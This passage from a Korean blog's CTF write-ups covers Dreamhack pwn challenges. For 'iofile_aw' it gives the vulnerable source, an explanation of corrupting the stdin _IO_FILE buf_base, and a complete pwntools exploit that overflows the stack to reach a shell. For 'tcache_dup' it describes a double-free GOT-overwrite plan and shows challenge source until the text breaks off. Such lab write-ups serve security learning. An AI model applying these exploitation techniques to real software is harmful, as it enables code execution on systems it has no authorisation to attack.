</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">80</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="mi">512</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;TIME OUT&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">alarm</span><span class="p">(</span><span class="mi">60</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">read_str</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nf">fgets</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">get_shell</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">help</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;read: Read a line from the standard input and split it into fields.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">read_command</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">s</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="cm">/* No overflow here */</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">len</span> <span class="o">=</span> <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">s</span><span class="p">[</span><span class="n">len</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">&#39;\x0a&#39;</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">		<span class="n">s</span><span class="p">[</span><span class="n">len</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">sel</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="n">command</span><span class="p">[</span><span class="mi">512</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">	<span class="kt">long</span> <span class="o">*</span><span class="n">dst</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">long</span> <span class="o">*</span><span class="n">src</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nf">memset</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">command</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;# &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="nf">read_command</span><span class="p">(</span><span class="n">command</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		
</span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34;read&#34;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nf">read_str</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34;help&#34;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nf">help</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strncmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34;printf&#34;</span><span class="p">,</span> <span class="mi">6</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span> <span class="p">(</span> <span class="nf">strtok</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34; &#34;</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">src</span> <span class="o">=</span> <span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="nf">strtok</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">&#34; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">dst</span> <span class="o">=</span> <span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="n">stdin</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="k">if</span><span class="p">(</span><span class="n">src</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">					<span class="nf">memcpy</span><span class="p">(</span><span class="n">dst</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>				
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34;exit&#34;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%s: command not found</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">command</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>read, help, printf, exit의 문자열을 받아 이에 맞는 동작을 하는 코드이다 사실상 read와 printf만 보면 될 것이다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">else</span> <span class="nf">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strncmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34;printf&#34;</span><span class="p">,</span> <span class="mi">6</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span> <span class="p">(</span> <span class="nf">strtok</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34; &#34;</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">src</span> <span class="o">=</span> <span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="nf">strtok</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">&#34; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">dst</span> <span class="o">=</span> <span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="n">stdin</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="k">if</span><span class="p">(</span><span class="n">src</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">					<span class="nf">memcpy</span><span class="p">(</span><span class="n">dst</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>				
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span></code></pre></div><p>시나리오를 작성해보자.</p>
<p>위 부분을 살펴보면 입력받은 command 변수에 공백을 잘라서 src에 넣고 stdin 값을 dst에 넣은 다음 src 값이 존재하면 dst를 src 값으로 덮어씌우는 동작을 한다. 총 0x40만큼 덮을 수 있으며 dst는 입력을 담당하는 stdin의 위치를 가리키며 _IO_FILE 구조체가 존재하는 부분이다. 0x40만큼 오버라이트 할수 있게 되면 _IO_FILE의 buf_base까지 값을 쓸 수 있고, 이는 원하는 부분에 값을 입력 할 수 있게된다.</p>
<p>이렇게 변조된 stdin을 사용하는 곳이 read가 입력되었을 때이다. read가 입력되면 read_str() 함수가 실행되는데 이 함수 내부에는 fgets 함수가 사용되어 _IO_FILE의 내용을 바탕으로 값을 쓸 수 있다.</p>
<p>fgets을 이용해 command 전역 변수 값의 크기를 검증하는 size변수 값을 조작할 수 있을것 같다. read_command()함수를 통해 size변수의 값 만큼만 read해 마지막 글자가 \x0a 값이면 이를 \0으로 바꾸는 동작을 한다.</p>
<p>printf를 통해서 stdin 구조체의 buf_base를 size 변수 주소를 넣고 read를 입력해 충분히 큰 값으로 바꾼다. 그러면 commend 변수에 값 길이를 검증하는 size 변수가 조작되어 command 변수에 오버플로우를 일으킬 수 있다. 이를 이용해 return 주소를 get_shell() 함수주소로 변경하면 익스플로잇에 성공한다.</p>
<p>gdb를 통해서 stdin 구조를 출력하면 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">flag</span>            <span class="mh">0x00000000fbad208b</span>
</span></span><span class="line"><span class="cl"><span class="n">read</span> <span class="n">ptr</span>        <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">read</span> <span class="n">end</span>        <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">read</span> <span class="n">base</span>       <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">write</span> <span class="n">base</span>      <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">write</span> <span class="n">ptr</span>       <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">write</span> <span class="n">end</span>       <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">buf</span> <span class="n">base</span>        <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">buf</span> <span class="n">end</span>         <span class="mh">0x00007ffff7dd1964</span>
</span></span></code></pre></div><p>flag 값을 보면 0xfbad208b가 설정되어 있는데 b가 의미하는게 뭔지 잘 모르겠다. flag정보를 찾아보는데 잘 안나왔다. 그래서 익스플로잇 코드를 작성할 때 쓰기권한인 8을 주고 공격을 시도했다.</p>
<p>아래 공격코드를 이용했다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host3.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">10575</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./oneshot&#34;, env={&#39;LD_PRELOAD&#39;:&#39;./libc.so.6&#39;})</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./iofile_aw&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">elf</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./iofile_aw&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">size</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;size&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">get_shell</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;get_shell&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="s1">&#39;&#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="s1">flag            0x00000000fbad208b
</span></span></span><span class="line"><span class="cl"><span class="s1">read ptr        0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">read end        0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">read base       0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">write base      0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">write ptr       0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">write end       0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">buf base        0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">buf end         0x00007ffff7dd1964
</span></span></span><span class="line"><span class="cl"><span class="s1">&#39;&#39;&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#payload1 = p64(0xfbad208b)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xfbad2088</span><span class="p">)</span> <span class="c1">#flag b -&gt; 8</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>   <span class="c1">#read ptr</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>   <span class="c1">#read end</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>   <span class="c1">#read base</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>   <span class="c1">#write base</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>   <span class="c1">#write ptr</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>   <span class="c1">#write end</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">size</span><span class="p">)</span>    <span class="c1">#buf base =&gt; size ptr</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;# &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;printf &#34;</span><span class="o">+</span><span class="n">payload1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#print(b&#34;printf &#34;+payload1)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#print(b&#34;printf\x00&#34;+payload1)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;# &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;read&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x500</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="p">(</span><span class="mh">0x228</span><span class="o">-</span><span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">get_shell</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;# &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;exit</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="o">+</span><span class="n">payload2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN tcache_dup</title><link>https://dig06161.github.io/2023/02/26/dreamhack-pwn-tcache_dup/</link><pubDate>Sun, 26 Feb 2023 19:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/02/26/dreamhack-pwn-tcache_dup/</guid><description>드림핵 포너블 tcache_dup 문제풀이</description><content:encoded><![CDATA[<p>드림핵 tcache_dup 문제풀이다. 해당 문제 페이지를 보면 다음과 같은 tcache_dup 취약점에 대한 설명이 나와있다. <a href="https://learn.dreamhack.io/16#82">https://learn.dreamhack.io/16#82</a></p>
<p>tcache는 더블프리 버그같은 취약점을 검증하지 않아 여러 bin에서의 공격이 쉬운편이다. tcache dup 취약점은 double free 버그를 이용하여 힙이 할당될 때 같은 공간에 두번 할당 할 수 있다. 또한 값을 쓸 수 있다면 이 영역의 값을 변조하는 것도 가능하다.</p>
<p>이 바이너리의 경우 printf 함수의 got영역에 get_shell()함수의 주소를 입력해 printf가 실행되면 쉘 획득이 가능하게 문제를 풀었다.</p>
<p>해당 바이너리의 소스코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// gcc -o tcache_dup tcache_dup.c -no-pie
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">char</span> <span class="o">*</span><span class="n">ptr</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">alarm</span><span class="p">(</span><span class="mi">60</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">create</span><span class="p">(</span><span class="kt">int</span> <span class="n">cnt</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">cnt</span> <span class="o">&gt;</span> <span class="mi">10</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Size: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ptr</span><span class="p">[</span><span class="n">cnt</span><span class="p">]</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">ptr</span><span class="p">[</span><span class="n">cnt</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Data: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">ptr</span><span class="p">[</span><span class="n">cnt</span><span class="p">],</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">delete</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">idx</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;idx: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">idx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">idx</span> <span class="o">&gt;</span> <span class="mi">10</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">[</span><span class="n">idx</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">get_shell</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">idx</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">cnt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;1. Create</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;2. Delete</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;&gt; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">idx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">switch</span><span class="p">(</span><span class="n">idx</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">1</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="nf">create</span><span class="p">(</span><span class="n">cnt</span><span class="p">);</span>
